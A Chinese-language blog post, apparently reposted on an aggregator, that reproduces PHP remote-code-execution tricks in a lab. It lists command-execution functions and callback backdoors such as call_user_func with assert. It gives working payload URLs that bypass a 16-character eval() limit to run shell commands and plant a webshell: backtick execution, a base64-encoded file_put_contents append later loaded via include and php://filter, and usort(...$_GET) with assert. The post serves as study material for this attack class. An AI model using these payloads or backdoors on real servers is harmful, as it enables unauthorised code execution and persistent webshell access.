当前位置: 首页 > news >正文

RCE复现问题和研究

目录

先了解一些常见的知识点

PHP常见命令执行函数

call_user_func

eval()

call_user_func_array

array_filter

实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

1、长度限制16 位 (代码执行)

2、foo.php?1=file_put_contents¶m=$_GET[1](N,P,8);

N P 8  include 是什么意思

3、usort(...$_GET);


先了解一些常见的知识点

PHP常见命令执行函数

shell_exec、exec、passthru、system、proc_open、popen

PHP回调后门

call_user_func

call_user_func、把第一个参数作为回调函数使用 把第二个传递这个函数里的参数

eval()

eval 动态执行的方法

我们尝试用 call_user_func('assert',$_REQUEST['pass']);

连接 连接失败

        

但我们加一个eval 就可以连接成功

        

call_user_func_array

call_user_func_array('assert',$_REQUEST['pass']); 第二个函数接受需要一个数组

如果控制两个参数,就可以让代码执行,变成命令执行

array_filter

array_filter 将回调函数base64编码 

实战演练(RCE)PHP Eval函数参数限制在16个字符的情况下 ,如何拿到Webshell?

1、长度限制16 位 (代码执行)

<?php
$param = $_REQUEST['param'];  If (
strlen($param) < 17 &&  stripos($param, 'eval') === false &&  stripos($param, 'assert') === false
) {
eval($param);
}

将文件写入nginx html目录下

我们来执行下phpinfo 必须带;因为eval需要()

        很显然执行了 说明有效

http://192.168.111.130/web.php?param=echo%20`$_GET[1]`;&1=id

eval 需要echo来将数据导出(代码执行改变成了命令执行)

2、foo.php?1=file_put_contents&param=$_GET[1](N,P,8);

温馨提示 必须是www-data 用户组  这样可以创建文件 root权限不够

这是file_put_contents php的官方文档的说明

N P 8  include 是什么意思

N 是指定文件名

P是一句话木马

8 是追加 (FILE_APPEND)是一样的 字符只能16位所以我们用 8

include 会将所有传进来的都当成php代码

正好是一句话木马

为什么要将编码后的写入文件呢 是因为这个函数不支持<>这些字符

执行来验证

将所有追加进去 我这里不一一展示了

web.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

这样就可以执行了

3、usort(...$_GET);

php可变长参数是`...`

首先我们将php调制成5.6版本 方便我们测试漏洞

update-alternatives --config php

http://192.168.111.130/web.php?1[]=test&1[]=phpinfo();&2=assert

这样就获取phpinfo了

http://www.lryc.cn/news/423296.html

相关文章:

  • MySQL中的索引——适合创建索引的情况
  • 5款在线伪原创改写软件,智能改写文章效果好
  • opencv-python图像增强四:多曝光融合(方法一)
  • Qt 实战(9)窗体 | 9.2、QDialog
  • Spring 事务机制
  • Android 13 GMS 内置壁纸
  • 【LeetCode】234. 回文链表
  • 零基础学会机器学习,到底要多久?
  • 视频汇聚/安防监控综合平台EasyCVR接入海康私有协议EHOME显示失败是什么原因?
  • Qt解析XML
  • PwnLab: init-文件包含、shell反弹、提权--靶机渗透思路讲解
  • OpenCV—二值化Threshold()、adaptiveThreshold()
  • 第二天:java面向对象编程(OOP)
  • Selenium + Python 自动化测试07(滑块的操作方法)
  • 三防平板满足多样化定制为工业领域打造硬件解决方案
  • pytorch,用lenet5识别cifar10数据集(训练+测试+单张图片识别)
  • Word卡顿的处理方法
  • 在 Linux上常见的10大压缩格式解压命令和它们对应的压缩格式
  • 【数据结构】三、栈和队列:6.链队列、双端队列、队列的应用(树的层次遍历、广度优先BFS、先来先服务FCFS)
  • 技术速递|使用 Native Library Interop 为 .NET MAUI 创建绑定
  • Linux笔记 --- 标准IO
  • 洛谷:B3625 迷宫寻路
  • 【C#】explicit、implicit与operator
  • Vue:Vuex-Store使用指南
  • 对经典动态规划问题【爬台阶】的一些思考
  • 开发一个能打造虚拟带货直播间的工具!
  • 汽车补光照明实验太阳光模拟器光源
  • MediaPipe人体姿态、手指关键点检测
  • 树上dp之换根dp
  • 2024/8/13 英语每日一段